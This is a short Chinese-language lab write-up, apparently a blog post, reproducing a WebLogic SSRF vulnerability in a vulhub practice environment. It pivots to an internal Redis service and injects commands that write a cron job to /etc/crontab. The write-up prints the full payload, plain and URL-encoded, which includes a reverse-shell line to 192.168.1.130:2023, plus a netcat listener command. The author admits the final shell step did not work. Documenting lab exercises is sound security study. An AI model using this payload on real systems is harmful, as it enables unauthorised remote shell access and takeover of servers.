一、搭建靶场
进入vulhub靶场,进入ssrf目录,启用7001端口查看并进行ssrf漏洞实验。
![](https://img-blog.csdnimg.cn/img_convert/9c4ed5af93c34ef577b8cc470f4e5ed9.png)
![](https://img-blog.csdnimg.cn/img_convert/09c1e985db084d9bac91232084e7bffa.png)
二、复现步骤
发现源代码存在链接,用burpsuite抓取包,查看operator,发现正是链接。
![](https://img-blog.csdnimg.cn/img_convert/f3ab4a6883b19b83a1152cd3de43acc3.png)
2、修改operator的url连接,ip:7001。发现返回404,说明内网连接成功。
![](https://img-blog.csdnimg.cn/img_convert/555a4bb0bf4baa11cb45115eae70b203.png)
3、测试输入错误端口号,是否有返回结果。
![](https://img-blog.csdnimg.cn/img_convert/aec0f5ec89131e2783bb2e4f42c90a2d.png)
![](https://img-blog.csdnimg.cn/img_convert/ab5a221371b0fc27bea1014bace82bcb.png)
4、进入redis,查看redis的ip :docker exec -it 12a /bin/bash
![](https://img-blog.csdnimg.cn/img_convert/f588b218937b1fceebfb1ce8f26b1702.png)
5、在operator中的url中将ip改为redis的ip端口号为6379,发现返回一个“Received a response”。
![](https://img-blog.csdnimg.cn/img_convert/b271fbb1dc18d4e1c2c881addb16b657.png)
![](https://img-blog.csdnimg.cn/img_convert/17d11fb053c67fcb3ea6363928d277fc.png)
6、在/etc目录下写一个shell.php脚本文件,输入以下内容。
test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.1.130/2023 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa
![](https://img-blog.csdnimg.cn/img_convert/9566c84f27fec648871f856fd22e109f.png)
7、在operator中的端口后面插入url编码后的码。
test%0A%20%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%2 0-i%20%3E&%20/dev/tcp/192.168.1.130/2023%200%3E&1%5Cn%5Cn%5Cn%5Cn%22%0Aconf ig%20set%20dir%20/etc/%0Aconfig%20set%20dbfilename%20crontab%0Asave%0A%20%0 Aaaa
![](https://img-blog.csdnimg.cn/img_convert/1ee9a3f51a1e8b3cd1e5f76f27cc5075.png)
![](https://img-blog.csdnimg.cn/img_convert/1198ccb9cc97ff4c9c093c7179f9af3f.png)
8、用Ubuntu监听即可
nc -lvp 2023
为什么不展开说说呢,因为我监听不了...